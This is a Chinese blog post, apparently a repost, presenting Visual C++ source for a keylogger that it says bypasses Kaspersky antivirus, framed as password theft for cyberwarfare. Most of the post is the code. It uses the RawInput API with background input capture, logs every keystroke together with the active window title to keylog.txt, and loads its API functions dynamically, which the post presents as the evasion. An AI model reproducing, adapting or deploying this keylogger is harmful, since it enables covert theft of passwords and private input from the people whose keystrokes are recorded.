VisualC++資訊保安程式設計（6）穿透卡巴斯基的鍵盤記錄程式設計-網路戰技術
阿新 • • 發佈：2018-11-12
分享一下我老師大神的人工智慧教程！零基礎，通俗易懂！http://blog.csdn.net/jiangjunshow
也歡迎大家轉載本篇文章。分享知識，造福人民，實現我們中華民族偉大復興！
在國家之間的網路戰爭中，竊取密碼是個很重要的事情。
而密碼往往是鍵盤輸入的。利用原始裝置輸入變化RawInput 實現鍵盤記錄，並穿透最牛的防毒軟體卡巴斯基。
引用外國人的原始裝置輸入變化的類。請柬程式碼與詳細註解。
#ifndef _RAWINPUT_H#define _RAWINPUT_H#include <windows.h>/* * The input is in the regular message flow, * the app is required to call DefWindowProc * so that the system can perform clean ups. */#define RIM_INPUT 0/* * The input is sink only. The app is expected * to behave nicely. */
實現過程如下，在應用程式中呼叫之。
#include "rawinput.h"LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);HANDLE InitLogFile(void);bool Intial(HINSTANCE hInstance);BOOL RegisitKeyBord(HWND hwnd);PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname);HWND prev = NULL;HANDLE hFile;char *szInfo = "一個穿透卡巴的鍵盤記錄（帶視窗標題獲取）利用原始裝置輸入變化RawInput 鍵盤記錄在當前目錄下的Keylog.txt中";char *szTips = http://blog.csdn.net/yincheng01;int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,PSTR,int iCmdShow){ MSG msg; Intial(hInstance); while(GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0;}bool Intial(HINSTANCE hInstance){ HWND hWnd; WNDCLASS wndClass; wndClass.style = CS_HREDRAW | CS_VREDRAW; wndClass.lpfnWndProc = WndProc; wndClass.cbClsExtra = 0; wndClass.cbWndExtra = 0; wndClass.hInstance = hInstance; wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION); wndClass.hCursor = LoadCursor(NULL, IDC_ARROW); wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); wndClass.lpszMenuName = NULL; wndClass.lpszClassName = TEXT("Twnd"); RegisterClass(&wndClass); hWnd = CreateWindow( TEXT("Twnd"), // window class name TEXT("鍵盤記錄測試"), // window caption WS_OVERLAPPEDWINDOW, // window style CW_USEDEFAULT, // initial x position CW_USEDEFAULT, // initial y position CW_USEDEFAULT, // initial x size CW_USEDEFAULT, // initial y size NULL, // parent window handle NULL, // window menu handle hInstance, // program instance handle NULL); // creation parameters //將鍵盤記錄寫入日誌檔案 hFile = InitLogFile(); if(!RegisitKeyBord(hWnd)) return 0; ShowWindow(hWnd, SW_SHOW); UpdateWindow(hWnd); return 0;}LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam){ HDC hdc; PAINTSTRUCT ps; char vk[256] = {'\0'}; char ti[256] = {'\0'}; UINT dwSize; LPBYTE lpb = NULL; RAWINPUT* raw = NULL; DWORD dwWritten = 0; PGetRawInputData GetRawInputData = (PGetRawInputData)GetApiAdd("user32.dll", "GetRawInputData"); switch(message) { case WM_INPUT: if(NULL == GetRawInputData) { DefWindowProc(hWnd, message, wParam, lParam); return 0; } GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER)); lpb = new BYTE[dwSize]; if(lpb == NULL) { DefWindowProc(hWnd, message, wParam, lParam); return 0; } if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize) break; raw = (RAWINPUT*)lpb; if (raw->header.dwType == RIM_TYPEKEYBOARD) { if ( prev == NULL) { prev = GetForegroundWindow(); GetWindowText(prev,ti,256); wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey)); } else if ( prev == GetForegroundWindow() ) { wsprintf(vk,"%s",GetKeyName(raw->data.keyboard.VKey)); } else { prev = GetForegroundWindow(); GetWindowText(prev,ti,256); wsprintf(vk,"\r\n\r\n[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey)); } if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message))) { SetFilePointer(hFile, 0, NULL, FILE_END); WriteFile(hFile, vk, (DWORD)strlen(vk), &dwWritten, NULL); } } delete[] lpb; DefWindowProc(hWnd, message, wParam, lParam); return 0; case WM_PAINT: hdc = BeginPaint(hWnd, &ps); TextOut(hdc, 10, 10, szInfo, strlen(szInfo)); TextOut(hdc, 10, 30, szTips, strlen(szTips)); EndPaint(hWnd, &ps); return 0; case WM_DESTROY: PostQuitMessage(0); CloseHandle(hFile); return 0; default: return DefWindowProc(hWnd, message, wParam, lParam); }}HANDLE InitLogFile(void){ HANDLE hFile = CreateFile("keylog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); return hFile;}PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname){ HMODULE hDll = LoadLibraryA(dllname); if(NULL == hDll) return NULL; PVOID pProc = GetProcAddress(hDll, procname); FreeLibrary(hDll); return pProc;}BOOL RegisitKeyBord(HWND hwnd){ if(NULL == hwnd) return false; PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices"); if(NULL == RegisterRawInputDevices) return false; RAWINPUTDEVICE rid; rid.usUsagePage = 0x01; rid.usUsage = 0x06; rid.dwFlags = RIDEV_INPUTSINK; rid.hwndTarget = hwnd; return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));}
給我老師的人工智慧教程打call！http://blog.csdn.net/jiangjunshow
